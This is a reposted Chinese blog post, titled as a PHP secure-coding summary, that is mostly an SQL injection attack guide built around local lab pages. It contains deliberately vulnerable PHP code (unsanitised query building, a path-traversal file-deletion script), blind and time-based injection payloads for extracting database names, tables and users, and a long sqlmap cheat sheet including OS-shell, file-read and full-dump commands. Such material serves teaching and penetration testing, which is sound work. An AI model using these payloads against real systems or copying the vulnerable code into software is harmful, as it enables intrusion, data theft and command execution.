0

0

PHP安全编码总结(经验分享)

藏色散人

藏色散人

发布时间:2023-01-20 14:11:58

|

3990人浏览过

|

来源于juejin

转载

本篇文章给大家带来了关于php安全的相关知识,其中主要介绍了什么是sql注入?盲注是怎么使用的?常用检测命令有哪些等等,下面一起来看一下,希望对需要的朋友有所帮助。

PHP安全编码总结(经验分享)

PHP 安全编码总结笔记

SQL注入: 代码中的 HTTP_X_FORWARDED_FOR 地址可以被伪造,而REMOTE_ADDR则相对更安全,有些应用程序会将对方IP地址带入数据库查询是否存在,例如同一个IP每天只能注册一个账号等,如果目标代码中使用的是 HTTP_X_FORWARDED_FOR 获取的IP地址,那么攻击者就可以通过修改HTTP包头实现SQL注入攻击。

<?php
function get_client_addr(){
if($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"],"unknown")){
$ip = $_SERVER["HTTP_CLIENT_IP"];
echo "HTTP_CLIENT_IP =" . $ip;
}else if($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
echo "HTTP_X_FORWARDED_FOR =" . $ip;
}else if($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){
$ip = $_SERVER["REMOTE_ADDR"];
echo "REMOTE_ADDR =" . $ip;
}else{
$ip = "unknown";
}
return $ip;
}
$addr = get_client_addr();
?>

SQL注入: 一种使用了过滤的代码,接受的参数经过过滤,字符串会被过滤掉SQL注入的关键字,整数会被强制转换为整数。

立即学习PHP免费学习笔记(深入)”;

<?php
$var = date_default_timezone_get();
echo "当前时区: " . $var . "<br>";
date_default_timezone_set("Asia/Shanghai");

if(!get_magic_quotes_gpc()){
$var = waf($_GET['id']);
echo "过滤后的参数: " . $var;
}

function waf($array){
if(is_array($array)){
foreach ($array as $key => $value) {
$array [$key] = waf($value);
}
}else if(is_string($array)){
$array = addslashes($array);
#$array = str_ireplace("and", "fuck", $array);
$substr = array(
"and" => "fuck you !",
"where" => "fuck you !",
"union" => "fuck you !",
"select" => "fuck you !",
"order" => "fuck you !",
"update" => "fuck you !",
"sleep" => "fuck you !",
);
$array = str_ireplace(array_keys($substr), $substr,$array);
}else if(is_numeric($array)){
$array = intval($array);
}
return $array;
}
?>

盲注的使用

首先需要简单修改上方的源代码,去掉回显框,然后修改以下代码.

<!DOCTYPE html>
<html>
<head>
    <meta charset="gbk">
    <title>SQL 注入测试代码</title>
</head>
        <?php
        $connect = mysqli_connect("localhost","root","123","lyshark");
        if($connect)
        {
                $id = $_GET['id'];
                if(isset($id))
                {
                        $sql = "select * from users where id='$id' limit 0,1";
                        $query = mysqli_query($connect,$sql);
                        $row = mysqli_fetch_array($query);
                        if(!empty($row))
                        {
                                print("查询完成了..");
                        }else
                        {
                                print("查询失败");
                        }
                }
        }
        ?>
<body>
        <?php echo '<hr><b> 后端执行SQL语句:  </b>' . $sql;  ?>
</body>
</html>

猜数据库名称: 盲注也就是程序会返回两种状态,查询成功与查询失败,我们需要自己构建判断条件,常用语句如下.

index.php?id=1' and left(version(),1)=5 --+            // 返回正常,说明版本号是5
index.php?id=1' and (length(database()))=7 --+         // 返回正常,说明数据库名字长度是7

index.php?id=1' and (left(database(),1))='l' --+       // 返回正常,说明数据库第一位是l
index.php?id=1' and (left(database(),2))='ly' --+      // 返回正常,说明数据库前两位位是ly,以此类推

index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+  // 验证第一位是否为l
index.php?id=1' and ord(mid((CAST(database() AS CHAR)),2,1))=121 --+  // 验证第二位是否为y,以此类推

猜表名:如果网页返回正常,则说明存在这个表,返回不正常说明不存在.

index.php?id=1' and (select count(*) from mysql.user) >=0     // 存在mysql.user表
index.php?id=1' and (select count(*) from lyshark) >=0        // 存在lyshark表

猜字段: 如果网页返回正常,说明存在猜测的字段,不正常则需要继续猜.

index.php?id=1' and (select count(id) from users) >=0       // 返回正常说明存在id字段
index.php?id=1' and (select count(name) from users) >=0     // 返回不正常不存在name字段
index.php?id=1' and (select count(*) from lyshark) >=3 #--   // 返回表中记录数

用户名猜测: 通过正则符号也可使完成多指定用户的探测,其他函数用法相同.

index.php?id=1' and (length(user())) >=14 #                // 猜测数据库用户名称长度
index.php?id=1' and (select user() like 'root%') #         // 猜测用户名
index.php?id=1' and (select user() regexp '^[a-z]') #      // 猜测开头a-z
index.php?id=1' and (select user() regexp '^r') #          // 第一位是r
index.php?id=1' and (select user() regexp '^ro') #         // 第二位是o
index.php?id=1' and (select user() regexp '^root') #       // 以此类推猜测前四位

延时注入: 通过sleep(5)延时的方式,我们同样可以判断是否存在注入点.

index.php?id=1' and sleep(5) #
index.php?id=1' and sleep(5) order by 3 #                       // 如果是3个字段,则会延时5秒
index.php?id=1' and select if(length(user())=0,sleep(3),1) #    //如果user=0则延时3秒
index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) #   // 第1个字符=d则延时3秒
index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) #   // 第2个字符=v则延时3秒

◆sqlmap 命令◆

靠岸学术
靠岸学术

一款集翻译,阅读,文献管理于一体的英文文献阅读器

下载

常用检测命令:

sqlmap -u "./index.php?id=1" -v 3                   # 显示攻击载荷
sqlmap -u "./index.php?id=1" --level=3              # 指定探测级别
sqlmap -u "./index.php?id=1" --privileges           # 测试所有用户权限
sqlmap -u "./index.php?id=1" --privileges root      # 测试root用户权限
sqlmap -u "./index.php?id=1" --all                  # 查询所有数据库
sqlmap -u "./index.php?id=1" --hostname             # 查询当前主机名
sqlmap -u "./index.php?id=1" --is-dba               # 判断root权限
sqlmap -u "./index.php?id=1" --users                # 枚举数据库用户
sqlmap -u "./index.php?id=1" --random-agent         # 随机User-Agent
sqlmap -u "./index.php?id=1" --output-dir=""        # 自定义输出目录
sqlmap -u "./index.php?id=1" --file-read=""         # 读取文件
sqlmap -u "./index.php?id=1" --file-write=""        # 写入操作
sqlmap -u "./index.php?id=1" --os-cmd="net user"    # 执行一条命令
sqlmap -u "./index.php?id=1" --os-shell             # 交互执行命令
sqlmap -u "./index.php?id=1" --sql-query=""         # 执行的SQL语句
sqlmap -u "./index.php?id=1" --cookie=""            # 指定cookie
sqlmap -u "./index.php?id=1" --temper=""            # 指定过滤脚本
sqlmap -u "./index.php?id=1" --dbs --delay 1        # 延时1秒后注入
sqlmap -u "./index.php?id=1" --dbs --safe-freq 3    # 延时3秒后注入

sqlmap -u "./index.php?id=1" --identify-waf                  # 测试是否有WAF
sqlmap -u "./index.php?id=1" --current-db                    # 查询当前数据库
sqlmap -u "./index.php?id=1" --current-user                  # 查询当前主机名
sqlmap -u "./index.php?id=1" --users                         # 查询所有用户名
sqlmap -u "./index.php?id=1" --dbs                           # 列出所有数据库
sqlmap -u "./index.php?id=1" --tables                        # 列出所有的表

sqlmap -u "./index.php?id=1" -D "mysql" --tables             # 获取mysql库中的表
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns  # 获取mysql.host表列名称
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump     # 将mysql.host保存到本地
sqlmap -u "./index.php?id=1" -D "mysql" --dump-all           # 全部脱裤
sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump

Cookie注入: 当level>=2时,使用cookie注入,level >=3 使用User-agent/Referer注入.

sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2                        #判断注入点
sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2                  #猜数据库名
sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2               #猜表名称
sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2        #猜字段
sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --dump --level 2 #猜内容

POST注入: 该方法通常是使用抓包工具抓取数据包,然后指定字段进行测试即可.

1.浏览器打开目标地址 http://www.xxx.com/index.php

2.配置burp代理(127.0.0.1:8080) 准备拦截请求

3.点击login表单的submit按钮,或者其他按钮均可

4.这时候Burp会拦截到了我们的登录POST请求

5.把这个post请求复制为txt,记录下其中的 id=1&Submit=Submit

sqlmap -r post.txt -p id --dbs
Sqlmap -r post.txt -p id -D mysql --tables
Sqlmap -r post.txt -p id -D mysql -T user --columns
sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump
sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"

其他漏洞利用

任意文件删除: 执行删除语句http://php.com/?dir=.....////&file=a.txt 完成漏洞利用.

<?php
$dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\', '../', './', '.\'), '', urldecode(trim($_GET['dir']))) : '';
$dir = str_replace("-", "/", $dir);
$file = isset($_GET['file']) && trim($_GET['file']) ? trim($_GET['file']) : '';
$path = "./" . $dir . "/" . $file;
$path = str_replace(array("//"), array("/"), $path);
echo "当前路径是: " . $path . "<br>";
if (file_exists($path)) {
if (unlink($path)) {
    echo "删除完成..";
} else {
    echo "删除失败..";
}
}
?>

推荐学习:《PHP视频教程

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

WorkBuddy
WorkBuddy

腾讯云推出的AI原生桌面智能体工作台

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
TypeScript类型系统进阶与大型前端项目实践
TypeScript类型系统进阶与大型前端项目实践

本专题围绕 TypeScript 在大型前端项目中的应用展开,深入讲解类型系统设计与工程化开发方法。内容包括泛型与高级类型、类型推断机制、声明文件编写、模块化结构设计以及代码规范管理。通过真实项目案例分析,帮助开发者构建类型安全、结构清晰、易维护的前端工程体系,提高团队协作效率与代码质量。

26

2026.03.13

Python异步编程与Asyncio高并发应用实践
Python异步编程与Asyncio高并发应用实践

本专题围绕 Python 异步编程模型展开,深入讲解 Asyncio 框架的核心原理与应用实践。内容包括事件循环机制、协程任务调度、异步 IO 处理以及并发任务管理策略。通过构建高并发网络请求与异步数据处理案例,帮助开发者掌握 Python 在高并发场景中的高效开发方法,并提升系统资源利用率与整体运行性能。

46

2026.03.12

C# ASP.NET Core微服务架构与API网关实践
C# ASP.NET Core微服务架构与API网关实践

本专题围绕 C# 在现代后端架构中的微服务实践展开,系统讲解基于 ASP.NET Core 构建可扩展服务体系的核心方法。内容涵盖服务拆分策略、RESTful API 设计、服务间通信、API 网关统一入口管理以及服务治理机制。通过真实项目案例,帮助开发者掌握构建高可用微服务系统的关键技术,提高系统的可扩展性与维护效率。

178

2026.03.11

Go高并发任务调度与Goroutine池化实践
Go高并发任务调度与Goroutine池化实践

本专题围绕 Go 语言在高并发任务处理场景中的实践展开,系统讲解 Goroutine 调度模型、Channel 通信机制以及并发控制策略。内容包括任务队列设计、Goroutine 池化管理、资源限制控制以及并发任务的性能优化方法。通过实际案例演示,帮助开发者构建稳定高效的 Go 并发任务处理系统,提高系统在高负载环境下的处理能力与稳定性。

51

2026.03.10

Kotlin Android模块化架构与组件化开发实践
Kotlin Android模块化架构与组件化开发实践

本专题围绕 Kotlin 在 Android 应用开发中的架构实践展开,重点讲解模块化设计与组件化开发的实现思路。内容包括项目模块拆分策略、公共组件封装、依赖管理优化、路由通信机制以及大型项目的工程化管理方法。通过真实项目案例分析,帮助开发者构建结构清晰、易扩展且维护成本低的 Android 应用架构体系,提升团队协作效率与项目迭代速度。

92

2026.03.09

JavaScript浏览器渲染机制与前端性能优化实践
JavaScript浏览器渲染机制与前端性能优化实践

本专题围绕 JavaScript 在浏览器中的执行与渲染机制展开,系统讲解 DOM 构建、CSSOM 解析、重排与重绘原理,以及关键渲染路径优化方法。内容涵盖事件循环机制、异步任务调度、资源加载优化、代码拆分与懒加载等性能优化策略。通过真实前端项目案例,帮助开发者理解浏览器底层工作原理,并掌握提升网页加载速度与交互体验的实用技巧。

102

2026.03.06

Rust内存安全机制与所有权模型深度实践
Rust内存安全机制与所有权模型深度实践

本专题围绕 Rust 语言核心特性展开,深入讲解所有权机制、借用规则、生命周期管理以及智能指针等关键概念。通过系统级开发案例,分析内存安全保障原理与零成本抽象优势,并结合并发场景讲解 Send 与 Sync 特性实现机制。帮助开发者真正理解 Rust 的设计哲学,掌握在高性能与安全性并重场景中的工程实践能力。

227

2026.03.05

PHP高性能API设计与Laravel服务架构实践
PHP高性能API设计与Laravel服务架构实践

本专题围绕 PHP 在现代 Web 后端开发中的高性能实践展开,重点讲解基于 Laravel 框架构建可扩展 API 服务的核心方法。内容涵盖路由与中间件机制、服务容器与依赖注入、接口版本管理、缓存策略设计以及队列异步处理方案。同时结合高并发场景,深入分析性能瓶颈定位与优化思路,帮助开发者构建稳定、高效、易维护的 PHP 后端服务体系。

532

2026.03.04

AI安装教程大全
AI安装教程大全

2026最全AI工具安装教程专题:包含各版本AI绘图、AI视频、智能办公软件的本地化部署手册。全篇零基础友好,附带最新模型下载地址、一键安装脚本及常见报错修复方案。每日更新,收藏这一篇就够了,让AI安装不再报错!

171

2026.03.04

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
PHP课程
PHP课程

共137课时 | 13.5万人学习

JavaScript ES5基础线上课程教学
JavaScript ES5基础线上课程教学

共6课时 | 11.3万人学习

PHP新手语法线上课程教学
PHP新手语法线上课程教学

共13课时 | 1.0万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号